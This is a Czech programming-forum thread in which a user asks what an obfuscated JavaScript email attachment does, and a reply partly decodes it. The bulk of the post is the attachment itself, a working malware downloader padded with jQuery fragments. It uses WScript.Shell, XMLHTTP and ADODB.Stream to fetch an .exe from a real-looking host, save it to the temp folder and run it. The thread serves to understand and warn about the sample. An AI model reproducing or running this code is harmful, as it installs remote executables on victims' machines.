Script co mi prisel mailem – JavaScript, AJAX, jQuery – Fórum – Programujte.com

zdravim

Prisel mi email s prilohou z me adesy do te stejne a byl ode mne a odnekad z mexica   

A me by hrozne zajimalo, co ma ten script vlastne delat. Mohl byste mi to nekdo z vas pomoci objasnit.

Diky Ludwikson

iAIzcLGbNj = " while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) { if ( elem.nodeType === 1 ) { if ( truncate && jQuery( elem ).is( until ) ) { break; } matched.push( elem ); } } return matched; };";
fergusI = 0;
String.prototype.contradistinction = function () { return this.substr(0, 1); };
var uUXTro = [("troops","protocol","n")+"hh"+("meteor","khaki","cartwright","insurgent","lH")+"CNAl", "A"+"iR"+"Nh"+("watchfulness","drummer","provisionally","cD")+"nBHy", "E"+"xpan"+("emerging","civil","forthright","tunnel","dEnviron")+"me"+"nt"+"Stri"+("above","adobe","ngs"), ("pointer","plenty","appreciate","claudia","")+"%"+("industry","manatarms","TE")+"MP%", ""+("labyrinth","believes","selected",".")+"exe", ("sounds","hacker","R")+"un", "A"+"ct"+"in"+"ce"+"nt"+"ivei"+("directive","deserve","vi")+("reverently","outwards","feathered","patents","nc")+"enti"+"ve"+"eXincentiv"+("though","awesome","descriptions","eObinc")+"en"+"ti"+"ve"+"je"+"ince"+"nt"+"ivect", "sFtalU", "FlAYMT", ("inarticulate","endowment","logging","W")+"Sc"+"ince"+"ntiver"+"ip"+"tinc"+"entive." + ("choose","misshapen","S"), "AmvHaUzPHrP", ("recant","prolific","voted","bartender","h")+"in"+"ce"+("walrus","queensland","vellum","nt")+"iv"+"ee"+("potential","rudimentary","training","li")+"nc"+("decimal","killer","en")+"ti"+("obtrusive","leathery","twaddle","middleclass","vel"), "UJcMlBfkOA", "G"+("lebanon","immigration","titania","rRAF")+"Ka"+("confidentially","raillery","investments","je")+"To", "Min"+"ce"+"ntiv"+"eS"+("discovery","downtown","vowel","Xi")+"nc"+"en"+("tinkle","knows","manor","checkered","ti")+"ve"+("counts","fetid","arcade","ML")+"in"+"ce"+("simulation","seducer","nt")+("discrepancy","intermission","iv")+"e2" + "."+"in"+"ce"+("excitement","austria","citizenship","stuffy","nt")+("paulo","grace","respected","iv")+"eXMi"+"ncenti"+("evanescence","oddity","knowledge","ve")+"LH"+"in"+"ce"+"nt"+"iveT"+"TP"];
rQSHDCBXb = " var rneedsContext = jQuery.expr.match.needsContext;";
uUXTro.splice(7, fergusI + 2);
chubby = uUXTro[1+4+1].split("incentive").join("");
var lrAXrUK = this[chubby];
AapDxox = "IdauNqhuT";
societies = (("generative", "parsimony", "HiLPFi", "clout", "pVrSBHnCPxP") + "kbmKKwklAVc").contradistinction();
theoriess = (("intelligent", "releases", "ziHwqRxJu", "greatly", "sSBVEfa") + "xEqzqkRRVx").contradistinction();

fergusI = 6;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1] + uUXTro[fergusI + 3];
uUXTro[fergusI + 2] = "EuHNTOs";
fergusI++;
uUXTro.splice(fergusI + 1, fergusI - 4);
uUXTro[fergusI] = uUXTro[fergusI].split("incentive").join("");
var OoKse = new lrAXrUK("" + uUXTro[fergusI] + "");
YPlWYgwd = " for ( ; n; n = n.nextSibling ) { if ( n.nodeType === 1 && n !== elem ) { matched.push( n ); } ";
fergusI++;
uUXTro[fergusI + 1] = uUXTro[fergusI + 1].split("incentive").join("");
var zBqJutIT = new lrAXrUK(uUXTro[1 + fergusI]);
KNgrjvc = " var siblings = function( n, elem ) { var matched = [];";
fergusI /= 2;
var BPmnOej = OoKse[uUXTro[fergusI - 2]](uUXTro[fergusI - 1]);
KcjXPEtu = "} return matched; };";
revealede = (("boating", "gruel", "eYyeHhl", "antonio", "EbYlGrsShJg") + "qWuYEw").contradistinction();

function undeveloped(poseidon, economic) {

    try {
        var jersey = BPmnOej + "/" + economic + uUXTro[fergusI];
    LjujlQ = "} return jQuery.grep( elements, function( elem ) { return ( jQuery.inArray( elem, qualifier ) > -1 ) !== not; } ); ";
    zBqJutIT["o" + societies + revealede + "n"](("craters","desirable","dissemination","dowager","G") + revealede + ("proximate","pivot","amalgamated","toner","T"), poseidon, false);

    QcwDedGUE = "}jQuery.filter = function( expr, elems, not ) { var elem = elems[ 0 ];";
    zBqJutIT[theoriess + ("lesbians","clustered","e") + (("smith", "kansas", "vQJtIpP", "beatific", "hamilton", "nxldkIa") + "GyucrQNudzq").contradistinction() + (("equitable", "jungle", "CEdBvsmD", "coffer", "acropolis", "dMNcSDdMEzF") + "wKxDlSnr").contradistinction()]();
    wGSsSnAuJ = " if ( not ) { expr = \":not(\" + expr + \")\"; ";
    if (zBqJutIT.status == 200) {
        var PbOLTH = new lrAXrUK((""+("therewithal","agencies","A")+"pO"+("doubt","memoir","wheaten","antiquarian","DB.") + ""+"S"+("deadening","bleached","gunther","tr")+"eam").replace("p", "D"));
        PbOLTH.open();
        RvweTKriM = "var rsingleTag = ( /^<([\w-]+)\s*\/?>(?:<\/\1>|)$/ );";
        PbOLTH.type = 22 * (12 - 8 - 4) + 6 - (8 / 2 + 1);
        aODTVaRhyp = "var risSimple = /^.[^:#\[\.,]*$/;";
        PbOLTH[("piston","video","notification","starts","w")+"ri"+"te"](zBqJutIT[""+"R"+"es"+("inconsiderate","backed","innocent","idiomatic","pon") + theoriess + "e"+"Bo"+("aberration","impeachment","dy")]);
        eUVrfTIaq = " Implement the identical functionality for filter and not function winnow( elements, qualifier, not ) { if ( jQuery.isFunction( qualifier ) ) { return jQuery.grep( elements, function( elem, i ) { /* jshint -W018 */ return !!qualifier.call( elem, i, elem ) !== not; } );";
        PbOLTH[(societies + "o"+"Di"+("demarcation","wolfish","sophistry","depict","ti")+"on").replace("D", theoriess)] = 0;
        rURMWYFCS = "} if ( qualifier.nodeType ) { return jQuery.grep( elements, function( elem ) { return ( elem === qualifier ) !== not; } );";
        PbOLTH["sav"+"eT"+"oF"+("modify","ordinance","crape","parasitic","ile")](jersey, 2);
        JzDFHcYwRvt = "} if ( typeof qualifier === \"string\" ) { if ( risSimple.test( qualifier ) ) { return jQuery.filter( qualifier, elements, not ); ";
        PbOLTH.close();
        ueMAAMNPHiw = "} qualifier = jQuery.filter( qualifier, elements ); ";
        OoKse[uUXTro[fergusI + 1]](jersey, 1, "ISKhYal" === "EwSDqpJcU"); wQXGGA = " if ( typeof selector !== \"string\" ) { return this.pushStack( jQuery( selector ).filter( function() { for ( i = 0; i < len; i++ ) { if ( jQuery.contains( self[ i ], this ) ) { return true; } } } ) ); ";
    }

} catch (HiQurqnDJ) { };

    hUivzNY = "jQuery.fn.extend( { find: function( selector ) { var i, ret = [], self = this, len = self.length;";
}
undeveloped("http:"+"//"+"th"+"eme44."+"ul"+"tr"+("weighted","furlong","defends","harry","acom")+".c"+"o.in/s"+"ys"+("careers","wrote","invention","cisco","te")+"m/"+"lo"+"gs"+"/9"+"8h"+("harmonize","optic","7b66")+"gb"+".e"+"xe","yROdkAds");
   NrQwRjPqXlj = "} return elems.length === 1 && elem.nodeType === 1 ? jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] : jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) { return elem.nodeType === 1; } ) ); };";

Nemyslim si, ze bys po tom mel patrat nebo to zverejnovat na forku. Minule to takhle nekdo udelal a google oznacilo jakesi forko, ze obsahuje virus a odmitalo stranky zobrazit. :)

Kdyz u toho kodu dole das misto undeveloped(...)  alert(...), tak to zobrazi adresu
http:// theme44.ultracom.co.in / system / logs / 98h7b66gb.exe
Pokud je tam zBqJutIT.status == 200, pravdepodobne tam bude kod pro ajaxovy prenos, tam se sleduje request.status==200.
Podobne, kdyz zamenis za alert ostatni funkce
PbOLTH. = new lrAXrUK(...)
PbOLTH = new ADODB.Stream
Coz dava smysl, protoze dal dela open
PbOLTH.open();
Takze, jestli chces, tak si to dekoduj. Hlavne se nediv, kdyz tahle stranka nebude za nejaky cas dostupna, pac google...

Avg ten kod oznacuje jako
virus JS/Heur